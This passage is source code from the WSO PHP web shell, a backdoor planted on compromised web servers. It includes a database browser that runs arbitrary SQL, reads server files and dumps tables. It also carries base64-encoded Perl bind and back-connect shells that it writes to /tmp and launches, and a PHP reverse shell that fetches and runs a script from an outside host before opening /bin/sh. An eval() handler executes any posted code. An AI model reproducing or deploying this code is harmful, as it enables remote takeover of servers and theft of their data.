1563 $res = func_num_args()?func_get_arg(0):$this->res;
1564 switch($this->type) {
1565 case 'mysql':
1566 return @mysql_fetch_assoc($res);
1567 break;
1568 case 'pgsql':
1569 return @pg_fetch_assoc($res);
1570 break;
1571 }
1572 return false;
1573 }
1574 function listDbs() {
1575 switch($this->type) {
1576 case 'mysql':
1577 return $this->res = @mysql_list_dbs($this->link);
1578 break;
1579 case 'pgsql':
1580 return $this->res = $this->query("SELECT datname FROM pg_database");
1581 break;
1582 }
1583 return false;
1584 }
1585 function listTables() {
1586 switch($this->type) {
1587 case 'mysql':
1588 return $this->res = $this->query('SHOW TABLES');
1589 break;
1590 case 'pgsql':
1591 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1592 break;
1593 }
1594 return false;
1595 }
1596 function error() {
1597 switch($this->type) {
1598 case 'mysql':
1599 return @mysql_error($this->link);
1600 break;
1601 case 'pgsql':
1602 return @pg_last_error($this->link);
1603 break;
1604 }
1605 return false;
1606 }
1607 function setCharset($str) {
1608 switch($this->type) {
1609 case 'mysql':
1610 if(function_exists('mysql_set_charset'))
1611 return @mysql_set_charset($str, $this->link);
1612 else
1613 $this->query('SET CHARSET '.$str);
1614 break;
1615 case 'pgsql':
1616 return @pg_set_client_encoding($this->link, $str);
1617 break;
1618 }
1619 return false;
1620 }
1621 function loadFile($str) {
1622 switch($this->type) {
1623 case 'mysql':
1624 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1625 break;
1626 case 'pgsql':
1627 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1628 $r=array();
1629 while($i=$this->fetch())
1630 $r[] = $i['file'];
1631 $this->query('drop table wso2');
1632 return array('file'=>implode("\n",$r));
1633 break;
1634 }
1635 return false;
1636 }
1637 function dump($table) {
1638 switch($this->type) {
1639 case 'mysql':
1640 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1641 $create = mysql_fetch_array($res);
1642 echo $create[1].";\n\n";
1643 $this->query('SELECT * FROM `'.$table.'`');
1644 while($item = $this->fetch()) {
1645 $columns = array();
1646 foreach($item as $k=>$v) {
1647 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1648 $columns[] = "`".$k."`";
1649 }
1650 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1651 }
1652 break;
1653 case 'pgsql':
1654 $this->query('SELECT * FROM '.$table);
1655 while($item = $this->fetch()) {
1656 $columns = array();
1657 foreach($item as $k=>$v) {
1658 $item[$k] = "'".addslashes($v)."'";
1659 $columns[] = $k;
1660 }
1661 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1662 }
1663 break;
1664 }
1665 return false;
1666 }
1667 };
1668 $db = new DbClass($_POST['type']);
1669 if(@$_POST['p2']=='download') {
1670 ob_start("ob_gzhandler", 4096);
1671 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1672 $db->selectdb($_POST['sql_base']);
1673 header("Content-Disposition: attachment; filename=dump.sql");
1674 header("Content-Type: text/plain");
1675 foreach($_POST['tbl'] as $v)
1676 $db->dump($v);
1677 exit;
1678 }
1679 wsoHeader();
1680 echo "
1681<h1>Sql browser</h1><div class=content>
1682<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1683<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1684<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1685<td><select name='type'><option value='mysql' ";
1686 if(@$_POST['type']=='mysql')echo 'selected';
1687echo ">MySql</option><option value='pgsql' ";
1688if(@$_POST['type']=='pgsql')echo 'selected';
1689echo ">PostgreSql</option></select></td>
1690<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1691<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1692<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1693 $tmp = "<input type=text name=sql_base value=''>";
1694 if(isset($_POST['sql_host'])){
1695 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1696 switch($_POST['charset']) {
1697 case "Windows-1251": $db->setCharset('cp1251'); break;
1698 case "UTF-8": $db->setCharset('utf8'); break;
1699 case "KOI8-R": $db->setCharset('koi8r'); break;
1700 case "KOI8-U": $db->setCharset('koi8u'); break;
1701 case "cp866": $db->setCharset('cp866'); break;
1702 }
1703 $db->listDbs();
1704 echo "<select name=sql_base><option value=''></option>";
1705 while($item = $db->fetch()) {
1706 list($key, $value) = each($item);
1707 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1708 }
1709 echo '</select>';
1710 }
1711 else echo $tmp;
1712 }else
1713 echo $tmp;
1714 echo "</td>
1715 <td><input type=submit value='>>'></td>
1716 </tr>
1717 </table>
1718 <script>
1719 function st(t,l) {
1720 document.sf.p1.value = 'select';
1721 document.sf.p2.value = t;
1722 if(l!=null)document.sf.p3.value = l;
1723 document.sf.submit();
1724 }
1725 function is() {
1726 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1727 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1728 }
1729 </script>";
1730 if(isset($db) && $db->link){
1731 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1732 if(!empty($_POST['sql_base'])){
1733 $db->selectdb($_POST['sql_base']);
1734 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1735 $tbls_res = $db->listTables();
1736 while($item = $db->fetch($tbls_res)) {
1737 list($key, $value) = each($item);
1738 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1739 $value = htmlspecialchars($value);
1740 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1741 }
1742 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1743 if(@$_POST['p1'] == 'select') {
1744 $_POST['p1'] = 'query';
1745 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1746 $num = $db->fetch();
1747 $num = $num['n'];
1748 echo "<span>".$_POST['p2']."</span> ($num) ";
1749 for($i=0;$i<($num/30);$i++)
1750 if($i != (int)$_POST['p3'])
1751 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1752 else
1753 echo ($i+1)," ";
1754 if($_POST['type']=='pgsql')
1755 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1756 else
1757 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1758 echo "<br><br>";
1759 }
1760 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1761 $db->query(@$_POST['p3']);
1762 if($db->res !== false) {
1763 $title = false;
1764 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1765 $line = 1;
1766 while($item = $db->fetch()) {
1767 if(!$title) {
1768 echo '<tr>';
1769 foreach($item as $key => $value)
1770 echo '<th>'.$key.'</th>';
1771 reset($item);
1772 $title=true;
1773 echo '</tr><tr>';
1774 $line = 2;
1775 }
1776 echo '<tr class="l'.$line.'">';
1777 $line = $line==1?2:1;
1778 foreach($item as $key => $value) {
1779 if($value == null)
1780 echo '<td><i>null</i></td>';
1781 else
1782 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1783 }
1784 echo '</tr>';
1785 }
1786 echo '</table>';
1787 } else {
1788 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1789 }
1790 }
1791 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1792 echo "</td></tr>";
1793 }
1794 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1795 if(@$_POST['p1'] == 'loadfile') {
1796 $file = $db->loadFile($_POST['p2']);
1797 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1798 }
1799 }
1800 echo '</div>';
1801 wsoFooter();
1802}
1803function actionNetwork() {
1804 wsoHeader();
1805 echo '<tr><td><a href=/dkcgi/cgi.pl>cgi script 1</a><br></tr></form></table>';
1806
1807$file = fopen($dir."back2.php" ,"w+");
1808$sa=base64_decode('X3NoZWxsX2F0aWxkaV8NCjw/cGhwIA0Kc2V0X3RpbWVfbGltaXQgKDApOw0KJFZFUlNJT04gPSAiMS4wIjsNCiRpcCA9IGdldGVudiAoJ1JFTU9URV9BRERSJyk7ICAvLyANCiRwb3J0ID0gNzA7ICAgICAgIC8vIENIQU5HRSBUSElTDQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAnY2QgL2Rldi9zaG07IHdnZXQgd3d3Lm5idmsubmwvdy8xMC50eHQ7IHBlcmwgMTAudHh0OyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCg0KLy8NCi8vIERhZW1vbmlzZSBvdXJzZWxmIGlmIHBvc3NpYmxlIHRvIGF2b2lkIHpvbWJpZXMgbGF0ZXINCi8vDQoNCi8vIHBjbnRsX2ZvcmsgaXMgaGFyZGx5IGV2ZXIgYXZhaWxhYmxlLCBidXQgd2lsbCBhbGxvdyB1cyB0byBkYWVtb25pc2UNCi8vIG91ciBwaHAgcHJvY2VzcyBhbmQgYXZvaWQgem9tYmllcy4gIFdvcnRoIGEgdHJ5Li4uDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpIHsNCiAgIC8vIEZvcmsgYW5kIGhhdmUgdGhlIHBhcmVudCBwcm9jZXNzIGV4aXQNCiAgICRwaWQgPSBwY250bF9mb3JrKCk7DQogICANCiAgIGlmICgkcGlkID09IC0xKSB7DQogICAgICBwcmludGl0KCJFUlJPUjogQ2FuJ3QgZm9yayIpOw0KICAgICAgZXhpdCgxKTsNCiAgIH0NCiAgIA0KICAgaWYgKCRwaWQpIHsNCiAgICAgIGV4aXQoMCk7ICAvLyBQYXJlbnQgZXhpdHMNCiAgIH0NCg0KICAgLy8gTWFrZSB0aGUgY3VycmVudCBwcm9jZXNzIGEgc2Vzc2lvbiBsZWFkZXINCiAgIC8vIFdpbGwgb25seSBzdWNjZWVkIGlmIHdlIGZvcmtlZA0KICAgaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7DQogICAgICBwcmludGl0KCJFcnJvcjogQ2FuJ3Qgc2V0c2lkKCkiKTsNCiAgICAgIGV4aXQoMSk7DQogICB9DQoNCiAgICRkYWVtb24gPSAxOw0KfSBlbHNlIHsNCiAgIHByaW50aXQoIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsLiIpOw0KfQ0KDQovLyBDaGFuZ2UgdG8gYSBzYWZlIGRpcmVjdG9yeQ0KY2hkaXIoIi8iKTsNCg0KLy8gUmVtb3ZlIGFueSB1bWFzayB3ZSBpbmhlcml0ZWQNCnVtYXNrKDApOw0KDQovLw0KLy8gRG8gdGhlIHJldmVyc2Ugc2hlbGwuLi4NCi8vDQoNCi8vIE9wZW4gcmV2ZXJzZSBjb25uZWN0aW9uDQokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsNCmlmICghJHNvY2spIHsNCiAgIHByaW50aXQoIiRlcnJzdHIgKCRlcnJubykiKTsNCiAgIGV4aXQoMSk7DQp9DQoNCi8vIFNwYXduIHNoZWxsIHByb2Nlc3MNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KICAgMCA9PiBhcnJheSgicGlwZSIsICJyIiksICAvLyBzdGRpbiBpcyBhIHBpcGUgdGhhdCB0aGUgY2hpbGQgd2lsbCByZWFkIGZyb20NCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgLy8gc3Rkb3V0IGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvDQogICAyID0+IGFycmF5KCJwaXBlIiwgInciKSAgIC8vIHN0ZGVyciBpcyBhIHBpcGUgdGhhdCB0aGUgY2hpbGQgd2lsbCB3cml0ZSB0bw0KKTsNCg0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQplY2hvICRwcm9jZXNzOw0KaWYgKCFpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgIHByaW50aXQoIkVSUk9SOiBDYW4ndCBzcGF3biBzaGVsbCIpOw0KICAgZXhpdCgxKTsNCn0NCg0KLy8gU2V0IGV2ZXJ5dGhpbmcgdG8gbm9uLWJsb2NraW5nDQovLyBSZWFzb246IE9jY3Npb25hbGx5IHJlYWRzIHdpbGwgYmxvY2ssIGV2ZW4gdGhvdWdoIHN0cmVhbV9zZWxlY3QgdGVsbHMgdXMgdGhleSB3b24ndA0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQoNCnByaW50aXQoIlN1Y2Nlc3NmdWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAkaXA6JHBvcnQiKTsNCg0Kd2hpbGUgKDEpIHsNCiAgIC8vIENoZWNrIGZvciBlbmQgb2YgVENQIGNvbm5lY3Rpb24NCiAgIGlmIChmZW9mKCRzb2NrKSkgew0KICAgICAgcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOw0KICAgICAgYnJlYWs7DQogICB9DQoNCiAgIC8vIENoZWNrIGZvciBlbmQgb2YgU1RET1VUDQogICBpZiAoZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICBwcmludGl0KCJFUlJPUjogU2hlbGwgcHJvY2VzcyB0ZXJtaW5hdGVkIik7DQogICAgICBicmVhazsNCiAgIH0NCg0KICAgLy8gV2FpdCB1bnRpbCBhIGNvbW1hbmQgaXMgZW5kIGRvd24gJHNvY2ssIG9yIHNvbWUNCiAgIC8vIGNvbW1hbmQgb3V0cHV0IGlzIGF2YWlsYWJsZSBvbiBTVERPVVQgb3IgU1RERVJSDQogICAkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTsNCiAgICRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOw0KDQogICAvLyBJZiB3ZSBjYW4gcmVhZCBmcm9tIHRoZSBUQ1Agc29ja2V0LCBzZW5kDQogICAvLyBkYXRhIHRvIHByb2Nlc3MncyBTVERJTg0KICAgaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgew0KICAgICAgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSyBSRUFEIik7DQogICAgICAkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOw0KICAgICAgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSzogJGlucHV0Iik7DQogICAgICBmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOw0KICAgfQ0KDQogICAvLyBJZiB3ZSBjYW4gcmVhZCBmcm9tIHRoZSBwcm9jZXNzJ3MgU1RET1VUDQogICAvLyBzZW5kIGRhdGEgZG93biB0Y3AgY29ubmVjdGlvbg0KICAgaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpIHsNCiAgICAgIGlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVCBSRUFEIik7DQogICAgICAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsNCiAgICAgIGlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVDogJGlucHV0Iik7DQogICAgICBmd3JpdGUoJHNvY2ssICRpbnB1dCk7DQogICB9DQoNCiAgIC8vIElmIHdlIGNhbiByZWFkIGZyb20gdGhlIHByb2Nlc3MncyBTVERFUlINCiAgIC8vIHNlbmQgZGF0YSBkb3duIHRjcCBjb25uZWN0aW9uDQogICBpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkgew0KICAgICAgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSIFJFQUQiKTsNCiAgICAgICRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOw0KICAgICAgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSOiAkaW5wdXQiKTsNCiAgICAgIGZ3cml0ZSgkc29jaywgJGlucHV0KTsNCiAgIH0NCn0NCg0KZmNsb3NlKCRzb2NrKTsNCmZjbG9zZSgkcGlwZXNbMF0pOw0KZmNsb3NlKCRwaXBlc1sxXSk7DQpmY2xvc2UoJHBpcGVzWzJdKTsNCnByb2NfY2xvc2UoJHByb2Nlc3MpOw0KDQovLyBMaWtlIHByaW50LCBidXQgZG9lcyBub3RoaW5nIGlmIHdlJ3ZlIGRhZW1vbmlzZWQgb3Vyc2VsZg0KLy8gKEkgY2FuJ3QgZmlndXJlIG91dCBob3cgdG8gcmVkaXJlY3QgU1RET1VUIGxpa2UgYSBwcm9wZXIgZGFlbW9uKQ0KZnVuY3Rpb24gcHJpbnRpdCAoJHN0cmluZykgew0KICAgaWYgKCEkZGFlbW9uKSB7DQogICAgICBwcmludCAiJHN0cmluZ1xuIjsNCiAgIH0NCn0NCg0KPz4=');
1809$write = fwrite ($file ,$sa);
1810fclose($file);
1811
1812 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1813 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1814 echo "<h1>Network tools</h1><div class=content>
1815 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1816 <span>Bind port to /bin/sh [perl]</span><br/>
1817 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1818 </form>
1819 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1820 <span>Back-connect [perl]</span><br/>
1821 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1822 </form><br><b><a href=/back2.php>Back-connect[php]</a></b><br>
1823
1824 ";
1825 if(isset($_POST['p1'])) {
1826 function cf($f,$t) {
1827 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1828 if($w) {
1829 @fwrite($w,@base64_decode($t));
1830 @fclose($w);
1831 }
1832 }
1833 if($_POST['p1'] == 'bpp') {
1834 cf("/tmp/bp.pl",$bind_port_p);
1835 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1836 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1837 }
1838 if($_POST['p1'] == 'bcp') {
1839 cf("/tmp/bc.pl",$back_connect_p);
1840 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1841 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1842 }
1843
1844
1845 }
1846 echo '</div>';
1847 wsoFooter();
1848}
1849function actionRC() {
1850 if(!@$_POST['p1']) {
1851 $a = array(
1852 "uname" => php_uname(),
1853 "php_version" => phpversion(),
1854 "wso_version" => VERSION,
1855 "safemode" => @ini_get('safe_mode')
1856 );
1857 echo serialize($a);
1858 } else {
1859 eval($_POST['p1']);
1860 }
1861}
1862if( empty($_POST['a']) )
1863 if(isset($default_action) && function_exists('action' . $default_action))
1864 $_POST['a'] = $default_action;
1865 else
1866 $_POST['a'] = 'SecInfo';
1867if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1868 call_user_func('action' . $_POST['a']);
1869exit;
1870?>